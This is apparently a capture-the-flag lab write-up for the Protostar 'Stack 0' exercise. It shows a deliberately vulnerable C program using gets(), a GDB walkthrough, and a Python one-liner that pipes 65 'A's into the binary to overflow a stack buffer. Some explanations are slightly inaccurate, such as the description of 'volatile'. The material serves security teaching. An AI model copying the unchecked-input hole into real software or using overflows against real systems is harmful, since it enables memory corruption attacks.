PROTOSTAR : STACK 0

SOURCE CODE

https://exploit.education/protostar/stack-zero/

Website link

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
```

SOURCE CODE WORKING EXPLAINATION

- Volatile integer variable (**modified**) states that the value of the variable can be changed during program compilation and is not fixed
- The program takes an input string using the gets() function
- The program is vulnerable to **Stack Buffer Overflow Attack** due to gets() as it has a vulnerability. You can check in Linux using **man gets** . The bug states that gets doesn't check the string length just prints whatever string we provide.
- The modified variable in the source code doesn't change so it checks whether its zero and with respect to that prints the message.

OBJECTIVE:

We need to changed the value of modified i.e. anything other than zero to print the **"you have changed the 'modified' variable\n"** message .

USING GDB TO REVERSE ENGINEER

```
(gdb) disass main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.
(gdb) i breakpoints
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x080483fd in main at stack0/stack0.c:10
        breakpoint already hit 1 time
2       breakpoint     keep y   0x08048411 in main at stack0/stack0.c:13
        breakpoint already hit 1 time
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack0

Breakpoint 1, main (argc=1, argv=0xbffff854) at stack0/stack0.c:10
10      in stack0/stack0.c
(gdb) c
Continuing.
test

Breakpoint 2, main (argc=1, argv=0xbffff854) at stack0/stack0.c:13
13      in stack0/stack0.c
(gdb) x/x $esp+0x5c
0xbffff79c:     0x00000000
(gdb)
```

Disassembling the main() function and shows the assembly instructions present. Set up breakpoints 1 and 2 in the respective memory address to input string and check the value of **$esp+0x5c** which is the **Modified variable.**

The **je** instruction at **0x08048417** checks whether the value of **eax** is equal to 0 . I first provided a string "**test**" but the value of modified variable didn't change since it didn't cause **Buffer Overflow**

```
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack0

Breakpoint 1, main (argc=1, argv=0xbffff854) at stack0/stack0.c:10
10      in stack0/stack0.c
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 2, main (argc=1, argv=0xbffff854) at stack0/stack0.c:13
13      in stack0/stack0.c
(gdb) x/x $esp+0x5c
0xbffff79c:     0x00000041
(gdb) c
Continuing.
you have changed the 'modified' variable

Program exited with code 051.
(gdb)
```

Restarted the debugging process with a string of **A's of 65 times.** 64 being the size of buffer and that extra bit will overflow into the modified variable changing its value. The hex value of "**A**" is 0x41. and we get the message

USING PYTHON SCRIPT

```
user@protostar:/opt/protostar/bin$ (python -c "print 'A'*65";) | ./stack0
you have changed the 'modified' variable
user@protostar:/opt/protostar/bin$
```

Python –c is used for command line access of python. Printing string of A's 65 times . And then executing the stack0 executable to changed value of modified variable.